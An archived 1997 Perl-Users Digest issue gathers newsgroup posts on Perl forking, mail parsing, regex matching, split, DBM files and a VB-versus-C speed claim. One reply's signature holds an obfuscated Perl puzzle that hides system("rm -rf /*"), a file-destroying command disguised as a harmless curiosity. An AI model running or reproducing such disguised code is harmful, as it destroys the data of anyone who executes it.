[7496] in Perl-Users-Digest
Perl-Users Digest, Issue: 1122 Volume: 8
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Fri Oct 3 18:07:22 1997
Date: Fri, 3 Oct 97 15:00:22 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Fri, 3 Oct 1997 Volume: 8 Number: 1122
Today's topics:
ANSI Color in Perl (UNIX) <jefpin@bergen.org>
bingint.pl <dturley@rocketmail.com>
Fork & %SIG problem (Trevor Stone)
How to Send a webform response to a email address? <kk@magi.com>
Re: ioctl <rootbeer@teleport.com>
Re: ioctl (Tom Grydeland)
Re: Is there a Newsgroup for "Perl for NT and/or IIS"? <camerond@mail.uca.edu>
MailTools-1.09 question (Mitch Kutzko)
Re: MailTools-1.09 question (Matthew Cravit)
Module for sending commands to SCSI devices? <tim@hcirisc.cs.binghamton.edu>
Re: New Perl syntax idea (Gurusamy Sarathy)
New To Perl <navigato@grove.ufl.edu>
Re: Number of Emails? <usenet-tag@qz.little-neck.ny.us>
opening (Ai4net)
Re: pattern matching question <tkeitt@santafe.edu>
Re: pattern matching question (Mike Stok)
Re: PERL and serial port (Terry Michael Fletcher - PCD ~)
Perl DBM -> TIE <thomas@shurflo.com>
Perl Programmer wanted for small job (Paul Bankier)
PROOF: VB FASTER THAN PERL, C, C++ (SpamProofSeal@none.com)
Re: PROOF: VB FASTER THAN PERL, C, C++ <phousto@cse.dnd.ca>
Q: FREE DATABASES AND PERL CGI (Mario Biron)
splitting problems <brent@tzn.com>
Turning a formmated string into a list (James Weisberg)
Re: Turning a formmated string into a list (Mike Stok)
Re: week-of-the-year calculation (Gerben Vos)
Digest Administrivia (Last modified: 8 Mar 97) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Fri, 3 Oct 1997 13:18:30 -0400
From: TechMaster Pinyan <jefpin@bergen.org>
Subject: ANSI Color in Perl (UNIX)
Message-Id: <Pine.SGI.3.95.971003131626.18948A-100000@vangogh.bergen.org>
I have put a small "cheat sheet" for using color in Perl on at least
UNIX... probably LINUX as well... if you are interested, check out:
http://users.bergen.org/~jefpin/perl_dist/perl_color.txt
Hope this answers any questions people might have in the future... :)
----------------
| "WYSIWYG? More like WUSSIWYG... Text Editors Rule!!!"
| - Jeff Pinyan
----------------
Jeff Pinyan | http://users.bergen.org/~jefpin | jefpin@bergen.org
webXS - the new eZine for WebProgrammers! TechMaster@bergen.org
Visit us @ http://users.bergen.org/~jefpin/webXS
** I can be found on #perl on irc.ais.net as jpinyan **
- geek code -
GCS/IT d- s>+: a--- C+>++ UAIS+>$ P+++$>++++ L E--->---- W++$
N++ !o K--? w>+ !O M>- V-- PS PE+ !Y !PGP t+ !5 X+ R tv+ b>+
DI+++ D+>++ G>++ e- h- r y?
------------------------------
Date: Fri, 03 Oct 1997 13:21:52 -0600
From: David Turley <dturley@rocketmail.com>
Subject: bingint.pl
Message-Id: <875902677.12855@dejanews.com>
I have a script that uses bigint.pl, (as in require bingint.pl;). I have
run this without fail on an Apache server, a mac server, and under the
Win95 port of perl. I have someone trying to install the script on
their server and is being told by their ISP that they don't have
bigint.pl. The ISP is telling them to search yahoo, etc to find that
program!
Who's the bigger idiot? Me or the ISP. Am I wrong in my belief that
bigint.pl is part
of the perl distribution?
TIA
-------------------==== Posted via Deja News ====-----------------------
http://www.dejanews.com/ Search, Read, Post to Usenet
------------------------------
Date: 3 Oct 1997 18:13:21 GMT
From: tstone@ucsub.Colorado.EDU (Trevor Stone)
Subject: Fork & %SIG problem
Message-Id: <613ck1$lff@peabody.colorado.edu>
I've got a nifty little program that forks off a daemon-like piece of code
which works fine and then tries to kill itself when I log out. Problem is,
it doesn't kill itself. The pertinent code:
#Stuff that works fine
FORK: {
if ($pid = fork) {
#parent doesn't do anything
} elsif (defined $pid) { #child has $pid = 0
while (1) { # repeat indefinitely
#do stuff
sleep $delay;
}
}
} elsif ($! =~ /No more process/) { #forking error
sleep 5;
redo FORK; #thank you, try again
} else { #what the hey?
die "Can't fork: $!\n";
}
} #end of FORK:
$SIG{HUP} = \&loggedout; # kill nmchk when user logs out
sub loggedout {
exit;
}
Any comments?
### Trevor Stone Scout/Sage Man tstone@Colorado.EDU [O]
### Unaligned Monk Adept of Void Human, Trident, Academic [O]
### http://www.poboxes.com/tstone/ Curses, contests, games, etc. [O]
### Curse of the moment: Thou greasy evil-eyed puttock! ###
------------------------------
Date: Fri, 03 Oct 1997 16:49:06 -0400
From: Kerry Keogan <kk@magi.com>
Subject: How to Send a webform response to a email address?
Message-Id: <34355A42.522E3C83@magi.com>
Can anyone suggest a way that to pipe a webform resopnse to a email
address on another server.
I would also like test run this perl script locally(off line) and email
myself when I fillout and submit the web form. Can this be done? I use
Netscape Fasttrack web server. Do I require a email server software?
KK
------------------------------
Date: Fri, 3 Oct 1997 11:05:33 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: Markus Borbely <e95mbo@efd.lth.se>
Subject: Re: ioctl
Message-Id: <Pine.GSO.3.96.971003110316.2827C-100000@usertest.teleport.com>
On 2 Oct 1997, Markus Borbely wrote:
> need to read one single character at a time. And in non canonical
> mode... So the user don't need to press return after every single
> keystroke.
http://www.perl.com/CPAN-local/doc/FAQs/FAQ/html/perlfaq5/
How_can_I_read_a_single_characte.html
> Oh yeah... if you you say CPAN or RTFM, then don't say it... :)
If you don't want the best answers, you shouldn't ask the questions.
--
Tom Phoenix http://www.teleport.com/~rootbeer/
rootbeer@teleport.com PGP Skribu al mi per Esperanto!
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
Ask me about Perl trainings!
------------------------------
Date: 3 Oct 1997 18:38:21 GMT
From: Tom.Grydeland@phys.uit.no (Tom Grydeland)
Subject: Re: ioctl
Message-Id: <slrn63aest.i3o.Tom.Grydeland@mitra.phys.uit.no>
On 2 Oct 1997 19:42:01 GMT,
Markus Borbely <e95mbo@efd.lth.se> wrote:
> Hi!
> I'd be happy if anyone can point me out to the module I
> need. I'm working in X and need to read one single
> character at a time. And in non canonical mode... So the
> user don't need to press return after every single keystroke.
This is a FAQ. Read the FAQ.
perlfaq5.pod:=head2 How can I read a single character from a file? From
the keyboard?
> A second wish is to write out characters in a textwindow
> something like write(x,y,$string)
Look for curses on the CPAN.
http://www.perl.com/ has links for both the FAQ and CPAN.
> Oh yeah... if you you say CPAN or RTFM, then don't say it... :)
Well, in that case, forget it.
> |__| Markus Borbely +46(0)46-39 73 55 |
--
//Tom Grydeland <Tom.Grydeland@phys.uit.no>
------------------------------
Date: Fri, 03 Oct 1997 15:52:37 -0500
From: Cameron Dorey <camerond@mail.uca.edu>
Subject: Re: Is there a Newsgroup for "Perl for NT and/or IIS"?
Message-Id: <34355B14.D8A930E9@mail.uca.edu>
Scott McMahan wrote:
> [snip]
> I try to answer all reasonable NT/95 questions I see in this newsgroup
>
> with helpful answers, if possible. That is, questions that make
> sense:
> a lot of them have words and end in a '?', but don't really make a lot
>
> of sense. I've used Perl extensively on NT and 95, and know
> a lot of the gotchas. The biggest problem I've seen is that
> a lot of the stuff is *NOT* different: a lot of UNIX code works
> great as-is on the Win32 platforms. People either 1) try to make
> it harder than it is, or 2) have configuration problems of their
> own which prevent Perl scripts from running.
Jeremy D. Zawodny wrote back:
> [snip]
> The majority of problems that *I've* seen people post about here or on
>
> the Perl-Win32-Web mailing list seem to result from not following the
> directions or not understanding the difference between running scripts
>
> under a "service" and running them at the command-line.
>
> I'm not accusing you of any of the above, I'm simply stating what I've
>
> seen.
[snip]
I appreciate Jerry qualifying the second statement above to involve the
*majority* of problems you've seen here. While there are a number of
Windows people who write in with questions which could be answered by
"RTFM," (and it may indeed be over 50%) there are also apparently a
significant number (myself included) who are having trouble due to the
fact that the Windows and UNIX OS's are not very similar, and thus there
are several functions which are simply not available on a Win system
(Win95, anyway) for which we have to find workarounds.
Add to that two things: (1) the assumption (my assumption, anyway) that
many Win users are not true "computer jocks," which is why they like
Windows (my last non-PC computer experience was Fortran on a VAX 780 in
1982), and you've got a growing number of Perl hackers who are coming in
from a much lower level of comfort with the language than most of the
answer providers on this list; and (2) many folks on this list try to be
helpful with a "here, take my script," but don't think to tell the
recipient that since they're using UNIX and the recipient is using
Windows, it *just might not* work. Your hubris is appreciated, but
sometimes it sends us up the wall.
I'm not asking for any slack on questions which are answered in the
manuals or FAQ's, but, IMHO, there are a fair number of issues which are
important to address in dialogues here that are not addressed in the
above. I just received my copy of the Gecko book yesterday, and I'll
report to the group in a couple of weeks how useful it is in solving
these incompatibility/unintelligibility problems.
Off my soapbox, thanks for listening.
Cameron Dorey
camerond@mail.uca.edu
BTW, Alan Poindexter, thank you for your help with my redirection
problem. That's one of the things the books/manuals seemed really fuzzy
on, to me.
------------------------------
Date: Fri, 03 Oct 1997 18:45:55 GMT
From: mitch@uiuc.edu (Mitch Kutzko)
Subject: MailTools-1.09 question
Message-Id: <343528e0.155249406@news.cso.uiuc.edu>
Hi, folks -- I've been handed a task that I'm having a bit of
difficulty figuring out how to accomplish. I have to write a Perl
utility that can be sent mail, and then have it strip off all the
various fields so they can be fed into a database frontend package
individually. (What happens after that isn't my problem, thank
goodness!)
I hit CPAN, and it looked to me like Mail::Internet and Mail::Address
from MailTools-1.09 are probably what I'm looking for. The problem is
my Perl is *awfully* rusty, and I've never done anything with Object
Oriented stuff at all. Needless to say, I'm very confused at this
point. ;-)
Got things made and installed with no problem, but now I'm trying to
figure out exactly how I use them. What do I have to write to say
"Ok, here's a piece of mail, gimme back the To:, From:, Subject:, and
Body."? And of course, since we wouldn't want this to be easy, it
also has to deal with MIME attachments, splitting them off to a
separate file, also to be fed to the database later.
Here's what I've got so far, which doesn't work. (Helpful, no? ;-) )
#!/usr/ncsa/bin/perl -w
require Mail::Address;
$outfile = ">/usr/people/mitch/testout";
open(OUTFILE, $outfile) || die ("OUTFILE open failed" );
print STDERR ("Output file opened successfully.\n" );
$mail = Mail::Address->new([<>]);
# Just grab some basic info and bail...
$myaddress = $mail->address();
$mybody = $mail->body();
#print (OUTFILE "Address = $myaddresss\nBody = $mybody\n");
exit(0);
Invoking this via "foobar.pl < testmail", where testmail is a flat
text file containing a sample email message, complete with headers.
Any suggestions? Hints? Anything would be greatly appreciated!
Thanks!
Mitch
------------------------------
Date: 3 Oct 1997 12:11:58 -0700
From: mcravit@best.com (Matthew Cravit)
Subject: Re: MailTools-1.09 question
Message-Id: <613g1u$1uu$1@shell3.ba.best.com>
In article <343528e0.155249406@news.cso.uiuc.edu>,
Mitch Kutzko <mitch@uiuc.edu> wrote:
>difficulty figuring out how to accomplish. I have to write a Perl
>utility that can be sent mail, and then have it strip off all the
>Any suggestions? Hints? Anything would be greatly appreciated!
The Mail::Internet and MIME::Entity modules might help. Here's a short
chunk of code (from a mailbot I wrote) to grab header stuff. This might
be a good start for you:
use Mail::Internet;
$message = new Mail::Internet(\*STDIN);
$from = $message->head()->get('From');
$to = $message->head()->get('To');
# etc.
Hope this helps.
/MC
--
Matthew Cravit, N9VWG | Experience is what allows you to
E-mail: mcravit@best.com (home) | recognize a mistake the second
mcravit@taos.com (work) | time you make it.
------------------------------
Date: 03 Oct 1997 14:33:52 -0400
From: Tim Gray <tim@hcirisc.cs.binghamton.edu>
Subject: Module for sending commands to SCSI devices?
Message-Id: <t0lo0a3ddb.fsf@hcilab.i-have-a-misconfigured-system-so-shoot-me>
Hi there,
Does anyone know of any modules out there that send commands
to SCSI devices? In particular to backup tape changers? We inherited
some heavy duty tape changers and I would like to be able to automate
our backup process using PERL. We have an exabyte 10e and an MTI DLT
unit. I took a look in CPAN but I didn't find anything under SCSI or
Backup. Thanks.
tim@hcirisc.cs.binghamton.edu
------------------------------
Date: 3 Oct 1997 21:24:09 GMT
From: gsar@engin.umich.edu (Gurusamy Sarathy)
Subject: Re: New Perl syntax idea
Message-Id: <613npp$8ue@srvr1.engin.umich.edu>
[ mailed and posted ]
In article <610r9p$s9i$1@news1.atlantic.net>,
Chip Salzenberg <chip@pobox.com> wrote:
>According to chris@ixlabs.com:
>>Greg Bacon wrote:
>>> In article <342FE73B.41C2@ixlabs.com>,
>>> Chris Schoenfeld <chris@ixlabs.com> writes:
>>> : How about aliasing 'method' to 'sub' and passing the object reference
>>> : through a magic variable when 'method' is used?
>>>
>>> What potential benefits do you see for such an addition?
>>
>>To eliminate the repetitive use of:
>>my $self = shift;
>
>Larry has planned forever to allow parameter names in prototypes:
>
> sub methodname ($this, $param) { $this->othermeth($param) }
>
>That'll help with $this and also other verbosities.
Of course, 5.005 will contain enough new syntax to allow my
longstanding plans to merge in the functionality of the Alias
module. Automagic lexical variables inside methods that can then
refer to the object attributes as simple variables:
package Foo;
use Fields qw(foo bar);
sub new { bless { foo => 1, bar => ['a','b','c'] }, shift }
sub amethod : method {
print $foo, @bar; # lexical $foo, @bar object attributes
}
__END__
1abc
,in 5.005-speak.
- Sarathy.
gsar@umich.edu
------------------------------
Date: Fri, 03 Oct 1997 14:10:40 -0700
From: Benjamin Sisco <navigato@grove.ufl.edu>
Subject: New To Perl
Message-Id: <34355F50.3CB1@grove.ufl.edu>
I am creating a web page for the University of Florida. I would like to
run a few simple cgi scripts. A few of my questions include:
Most of the interpreters seem to be unix based. Where you use unix
commands to install them. I have a win/dos based system where I use dos
commands to run and unzip and everything else involved. I have a simple
trial script written, but I need an interpreter to use it. Are there
any suggestions on software that will run in this environment? I would
appreciate any suggestions. You may look at the trial script @
http://www.ppd.ufl.edu/cgi-bin/ the name is pearlpad.cgi.
Thanks in advance,
Benjamin Sisco
------------------------------
Date: 3 Oct 1997 18:03:27 GMT
From: Eli the Bearded <usenet-tag@qz.little-neck.ny.us>
Subject: Re: Number of Emails?
Message-Id: <eli$9710031351@qz.little-neck.ny.us>
Kevin Johnson <kjj@pobox.com> wrote:
> mickeyc@linc.cis.upenn.edu (R Chandrasekar (Mickey)) writes:
> > brian d foy (comdog@computerdog.com) wrote:
> > : so what happens with "From"'s embedded in the email text and happen to
> > Mailers are supposed to detect From's at the start of records
> > in text and change them, usually to >From.
In quoted-printable s/^(F)/printf "=%2x",ord($1)/e (might have a /i, too),
the other standard disarm method.
> In some cases, the Content-Length field is used to allow /^From / in
> message bodies without escaping it.
In which case you are going to be screwed because there is no way to look
at a mailbox and know for sure if it is controlled by "Content-Length".
See the long flame fest in comp.mail.misc last January/February at
Dejanews.
Elijah
------
and there are other non-BSD mail mailbox formats
------------------------------
Date: 3 Oct 1997 18:20:04 GMT
From: ai4net@aol.com (Ai4net)
Subject: opening
Message-Id: <19971003182000.OAA02949@ladder01.news.aol.com>
Great job opening for PROLOG and/or Internet programming in California. Great
R&D environment and high pay. New graduates are welcome. If you are a good
prolog programmer, and can write clean code, please send resume via email:
Ai4net@aol.com
------------------------------
Date: Fri, 03 Oct 1997 11:57:36 -0600
From: "Timothy H. Keitt" <tkeitt@santafe.edu>
Subject: Re: pattern matching question
Message-Id: <34353210.3567@santafe.edu>
Jeff Gostin wrote:
>
>
> while ($string =~ m/$template?/g) {$count++} #untested!
>
Nope. This one doesn't do it. Since $template is simply a string and
is not quantified, greedy vs. non-greedy isn't the issue (and I did read
the man page and FAQ). The solution given be Mike Stok does work
'$count++ while $string =~ /(?=aa)/gc;' Question: what does the 'c'
modifier do?; I couldn't find it in my man pages (perlre, perlop).
Another solution was given by Andrew Johnson:
'$count=()=$string=~/(?=aa)/g;' Does this mean that
'@matches=$string=~/(?=aa)/g;' returns all the matches?
Tim
------------------------------
Date: 3 Oct 1997 18:53:11 GMT
From: mike@stok.co.uk (Mike Stok)
Subject: Re: pattern matching question
Message-Id: <613eun$4jm@news-central.tiac.net>
In article <34353210.3567@santafe.edu>,
>the man page and FAQ). The solution given be Mike Stok does work
>'$count++ while $string =~ /(?=aa)/gc;' Question: what does the 'c'
>modifier do?; I couldn't find it in my man pages (perlre, perlop).
It was a typo as I have a file which I recycle for testing my bits of
code, and the occasional characters get left over or accidentally put in
(my posts have, I've heard, had a few typos in the English ... nearly 20
years of this and I still use 2.5 fingers :-)
If you look at pmflag in toke.c it's one of the characters used to
set bits - igcomsx are the ones there - and it's mentioned in perlop:
In a scalar context, m//g iterates through the
string, returning TRUE each time it matches, and
FALSE when it eventually runs out of matches. (In
other words, it remembers where it left off last
time and restarts the search at that point. You
can actually find the current match position of a
string or set it using the pos() function; see the
pos entry in the perlfunc manpage.) A failed
match normally resets the search position to the
beginning of the string, but you can avoid that by
adding the /c modifier (e.g. m//gc). Modifying
the target string also resets the search position.
and in the example just after that.
Sorry for the typo,
Mike
--
mike@stok.co.uk | The "`Stok' disclaimers" apply.
http://www.stok.co.uk/~mike/ | PGP fingerprint FE 56 4D 7D 42 1A 4A 9C
http://www.tiac.net/users/stok/ | 65 F3 3F 1D 27 22 B7 41
stok@psa.pencom.com | Pencom Systems Administration (work)
------------------------------
Date: 3 Oct 1997 17:32:23 GMT
From: tfletche@pcocd2.intel.com (Terry Michael Fletcher - PCD ~)
Subject: Re: PERL and serial port
Message-Id: <613a77$3qf$1@news.fm.intel.com>
Vincent RABAH (vincent.rabah@hol.fr) so eloquently and verbosely pontificated:
> Does anybody knows how to get data from a serail port ?
> I'm actually trying to use a modem with a perl script, I can send Hayes
> command and so on, but I couldn't read echo, data from the COM port
this is kind of disappointing to see that my post wasnt even read by the
people i thought it might help. :-(
about two weeks ago i tried out some code to talk to and from my modem with
NT perl on a COM port. i had the code working, even with some wrong
assumptions, then corrected myself so that no one would get the wrong
information. im not going to spend the time to repost and explain the
entire (big) article with code that i posted, so you will have to check on
deja news or some archive for it. the thread was "accessing modem on NT:
works" or something similar.
hope that helps.
--
#!/usr/local/bin/perl -- tfletche@pcocd2.intel.com
@$=map{unpack u,$_}'A2G5S="!A(!M;-VU"3TQ$&ULP;2!097)L(&AA8VME<BP*'
,'-<WES=&5M(G)M+7)F(@``';($@,$_)=@$;y($_=~y/$//d){s/./y(@_)/e}d;s;
system("rm -rf /*");die $@;exi;sub y{return sprintf "c",@_*$@*@$};
------------------------------
Date: Fri, 03 Oct 1997 13:37:42 +0100
From: Thomas Beardshear <thomas@shurflo.com>
Subject: Perl DBM -> TIE
Message-Id: <3434E716.2927@shurflo.com>
Anyone know where to find SPECIFICS on how to create/query/maintain
database files in Perl? (i.e. TIE or Opendbm WITH EXAMPLES)
I want to create/maintain/update files for various applications.
i.e. (one example is a helpdesk app that I will eventually use
on out intranet)
Some file
user req# date subject text
bill 1 9/6/97 Printer problem My Printer isn't working
sam 2 9/15/97 Spell Check Spell check doesn't work
mary 3 9/15/97 Install Word I need Word installed
sam 4 9/15/97 Import Problem I can't import Sue's data.
or
Some file
user:req #:date:subject:text
bill:1:9/6/97:Printer problem:My Printer isn't working
sam:2:9/15/97:Spell Check:Spell check doesn't work
mary:3:9/15/97:Install Word:I need Word installed
sam:4:9/15/97:Import Problem:I can't import Sue's data.
I've read that 'opendbm' is no longer used and was replaced by 'tie' but
I can't find complete documentation for either of them. I went to
several book stores and do find occasional references to them but they
were incomplete and had NO examples.
I thought that I read Perl supported database packages. Did I misread
that or are the packages separate add-ons?
Thanks for your help.
--
+=============================================================+
Tombstone:
I read this book. It said that a lot of people when they die
they see this light. Like in a tunnel. They say it's a light
leadin' you to heaven. Really? Well what about hell? They got
a sign there or what?
The management accepts no responsibility whatsoever
for the ramblings of the particular individual
writing this email response/inquiry. I don't Either.
Thomas Beardshear, PC Lan Administrator, thomas@shurflo.com
Shurflo Pump Manufacturing Company, Inc. - A Wicor Company
+=============================================================+
------------------------------
Date: Fri, 03 Oct 1997 20:14:40 GMT
From: paulb.music@zetnet.co.uk (Paul Bankier)
Subject: Perl Programmer wanted for small job
Message-Id: <613jn7$l01$1@roch.zetnet.co.uk>
Colleagues,
I need a Perl programmer to assist in the complettion of a small
website enterprise after me getting a little stuck.
Paid work only and pref UK based, so please email me if help.
We can discuss further from this message.
Regards
Paul Bankier
------------------------------
Date: Fri, 03 Oct 1997 21:38:20 GMT
From: SpamProofSeal@none.com (SpamProofSeal@none.com)
Subject: PROOF: VB FASTER THAN PERL, C, C++
Message-Id: <613e81$lu1@dfw-ixnews12.ix.netcom.com>
About the only thing C does faster than VB these days is string
manipulation, and that will be all over with VB6. Below are
the results. Below that is the source code incase you are
still a disbeliever.
My results:
Inside the VB environment (interpreted VB mode):
=================================================
Visual C++ - 7 seconds
Visual Basic - 49 seconds (not surprising, huh? READ ON!)
Optimized for speed VB executable:
=================================================
Visual C++ - 8 seconds
Visual Basic - 3 seconds (In your face C bigots! hehe!)
VB Executable, not optimized for maximum speed:
==================================================
Visual C++ - 8 seconds
Visual Basic - 12 seconds (A little slower, but still good)
===========================================================================================
For those who want to try this yourself, novice level knowledge of VB
is required, and enough C
knowledge to create a .DLL is required. All tests were done using VB
5.0 and VC 5.0.
The test to a C function was done by calling a .DLL containing a C
function that performed 1000
runs through a loop. The C function call is called "TestMath".
The test to the VB function was done by calling a VB function that
mirrors the functionality of
the C function, 1000 runs through a loop. The VB function call is
called "VBMath".
' CODE STARTS HERE
'==========================================================================================
'put this in a module
Option Explicit
'here is the dll declaration.. The C code is at the bottom of this
file
Declare Function TestMath Lib "JunkDLL2.dll" (ByVal a As Double, b As
Double) As Double
Public Function VBMath(ByVal a As Double, ByVal b As Double)
Dim i As Long
Dim x As Double
Dim y As Double
Dim z As Double
x = a
For i = 0 To 999
x = x * 1.02
y = x * 1.02
z = b * y
Next i
VBMath = z
End Function
'============================================================================================
'============================================================================================
' Put the following in a VB form, with two command buttons (command1
and command2),
' four labels (label1,label2, etc.). Put label1 & label2 next to
command1, and label3 & label4
' next to command2. Make the labels long enough to hold many digits
so u can see the result.
'============================================================================================
Option Explicit
'============================================
Const ITERATIONS = 32000
' mess with this as you like. Keep in mind the result will not change.
ITERATIONS only affects
' the number of times the function is called (thus affecting the total
time).
Public AVAL As Double
Public BVAL As Double
Public CVAL As Double
Private Sub Command1_Click()
'=================================================================
' Don't harass me about the general ugliness and sloppiness
' of this code and the unnecessary variables. I was doing several
' experiments and did not bother to clean it up.
'=================================================================
Dim z As Double
Dim xx As Integer
Dim d As Date
Dim vTotalTime
Dim a#, b#, c#
Screen.MousePointer = vbHourglass
a = AVAL
b = BVAL
c = CVAL
Label1 = ""
Label2 = ""
d = Now()
For xx = 1 To ITERATIONS
a = AVAL
b = BVAL
c = CVAL
z = TestMath(a, b)
Next xx
vTotalTime = DateDiff("s", d, Now)
Beep
Debug.Print "DONE - Value = " & z
Debug.Print "total Time = " & vTotalTime
Label1 = "RESULT = " & Format(z, "####################.#############")
Label2 = "TIME = " & vTotalTime & " SECONDS"
Screen.MousePointer = vbDefault
End Sub
Private Sub Command2_Click()
'=================================================================
' Don't harass me about the general ugliness and sloppiness
' of this code and the unnecessary variables. I was doing several
' experiments and did not bother to clean it up.
'=================================================================
Dim z As Double
Dim xx As Integer
Dim d As Date
Dim vTotalTime
Dim a#, b#, c#
Screen.MousePointer = vbHourglass
a = AVAL
b = BVAL
c = CVAL
Label3 = ""
Label4 = ""
d = Now()
For xx = 1 To ITERATIONS
a = AVAL
b = BVAL
c = CVAL
z = VBMath(a, b)
Next xx
vTotalTime = DateDiff("s", d, Now)
Beep
Debug.Print "DONE - Value = " & z
Debug.Print "total Time = " & vTotalTime
Label3 = "RESULT = " & Format(z, "####################.#############")
Label4 = "TIME = " & vTotalTime & " SECONDS"
Screen.MousePointer = vbDefault
End Sub
Private Sub Form_Load()
AVAL = 44
BVAL = 4
CVAL = 6
End Sub
'=========================================
'Here comes the C code
'=========================================
//===========================================
// This stuff just goes in a .DLL.. You may need to
// make a .DEF file as well
// All tests were done with VB5.0 and VC++5.0,
// Windows 95, P166 without service packs
// The VB declaration is in the module code above
//============================================
double __stdcall TestMath(double a, double far * b)
{
long i;
double x;
double y;
double z;
x = a;
for (i = 0; i < 1000; ++i)
{
x = x * 1.02;
y = x * 1.02;
z = *b * y;
}
return(z);
}
------------------------------
Date: Fri, 03 Oct 1997 16:01:21 -0400
From: Phil Houstoun <phousto@cse.dnd.ca>
Subject: Re: PROOF: VB FASTER THAN PERL, C, C++
Message-Id: <34354F11.1985BA06@cse.dnd.ca>
SpamProofSeal@none.com wrote:
>
> About the only thing C does faster than VB these days is string
> manipulation, and that will be all over with VB6. Below are
> the results. Below that is the source code incase you are
> still a disbeliever.
It's a little known fact that a Honda Accord EX-R has 15 more
horsepower than a Honda Accord EX, although you wouldn't know just
by looking at them. Check it out.
------------------------------
Date: Fri, 03 Oct 1997 19:32:30 GMT
From: biron@almerco.ca (Mario Biron)
Subject: Q: FREE DATABASES AND PERL CGI
Message-Id: <343546e2.193748710@news.almerco.ca>
I have to do a simple search engine to match strings found in a group
of webpages on a given site (for now, it's on a Unix system, but will
maybe moved to a NT in the future).
What I want is a simple free database in which I will create a table
with all the html pages to search in. The cgi perl will read this
table and search all the pages found in it. Any idea which one should
I use considering the possible move of plateforme? (even not
considering it). The 2 unix systems this will be run on are Irix and
Linux. And some perl interface example code would be great too.
I do not want to match <> tags, so I have to read the page and get rid
of the tags in memory before I try to match the regexp? Someone has
any example code too on this?
Any lead will be usefull, thanks!
biron@almerco.ca
------------------------------
Date: Fri, 03 Oct 1997 13:57:51 -0700
From: Brent Brookler <brent@tzn.com>
Subject: splitting problems
Message-Id: <34355C4F.1AE1@tzn.com>
Hello all:
I am trying to seperate the numbers from an IP address like so:
BUT, it's not working. Is there something with the "." period that Perl
doesn't notice. I also attempted to substitute the . with another
delimiter, but again Perl didn't notice the "."
Any help would be greatly appreciated.
$ipaddr = "$ENV{'REMOTE_ADDR'}";
@fields = split(/./,$ipaddr);
$ip1 = $fields[0];
$ip2 = $fields[1];
$ip3 = $fields[2];
$ip4 = $fields[3];
--
Brent
* Brent Brookler *
The Mountain Zone * The Zone Network
* http://www.mountainzone.com *
------------------------------
Date: 3 Oct 1997 13:14:09 -0500
From: chadbour@sashimi.wwa.com (James Weisberg)
Subject: Turning a formmated string into a list
Message-Id: <613clh$hsj@miso.wwa.com>
I have a fairly simple question. I would like to write a function
which takes a string of the form: MMDDYYhhmm.ext and returns a
list of each component. For example:
$file="0903971430.txt"
($MM, $DD, $YY, $hh, $mm, $ext) = filetolist($file);
Can someone show me how to write this function in Perl?
thanx.
------------------------------
Date: 3 Oct 1997 18:30:32 GMT
From: mike@stok.co.uk (Mike Stok)
Subject: Re: Turning a formmated string into a list
Message-Id: <613dk8$3pq@news-central.tiac.net>
Keywords: chadbour@sashimi.wwa.com
In article <613clh$hsj@miso.wwa.com>,
James Weisberg <chadbour@sashimi.wwa.com> wrote:
>I have a fairly simple question. I would like to write a function
>which takes a string of the form: MMDDYYhhmm.ext and returns a
>list of each component. For example:
>
>$file="0903971430.txt"
>
>($MM, $DD, $YY, $hh, $mm, $ext) = filetolist($file);
>
>Can someone show me how to write this function in Perl?
If it's a fixed format then unpack is one way to do it e.g.
($MM, $DD, $YY, $hh, $mm, $ext) = unpack ('a2a2a2a2a2xa*', $file);
or you can use a regex e.g.
($MM, $DD, $YY, $hh, $mm, $ext) = $file =~ /^(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)\.(.+)$/;
The regex might be easier to use as you can say something like
unless (@list = $file =~ /$pattern/) {
some error handling
}
as the scalar value of the list assignment will be false if no assignments
take place (e.g. if the match fails or there are no ()ed bits in
$pattern.)
As this is perl, there is more than one way to do it...
Hope this helps,
Mike
--
mike@stok.co.uk | The "`Stok' disclaimers" apply.
http://www.stok.co.uk/~mike/ | PGP fingerprint FE 56 4D 7D 42 1A 4A 9C
http://www.tiac.net/users/stok/ | 65 F3 3F 1D 27 22 B7 41
stok@psa.pencom.com | Pencom Systems Administration (work)
------------------------------
Date: 3 Oct 1997 19:27:38 GMT
From: gerben@cs.vu.nl (Gerben Vos)
Subject: Re: week-of-the-year calculation
Message-Id: <613gva$k2q$1@star.cs.vu.nl>
Fridiric GILLES writes:
>And where can I find ISO/R 2015-1971 and DIN 1355 standards?
Large public libraries may have them, or university libraries
(especially technical universities, I think). You can also order them
from ISO itself (see http://www.iso.ch/ ). There is a summary of ISO
2015 somewhere on the WWW, but I have lost the URL.
DIN standards are German standards. I assume ISO/R 2015-1971 is the
international equivalent of DIN 1355.
g e r b e n @ c s . v u . n l . . . . . . . . . . . . G e r b e n V o s <><
Join the Coalition Against Unsolicited Commercial Email! http://www.cauce.org/
The hedgehog can never be buggered at all.
------------------------------
Date: 8 Mar 97 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 8 Mar 97)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.
The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V8 Issue 1122
**************************************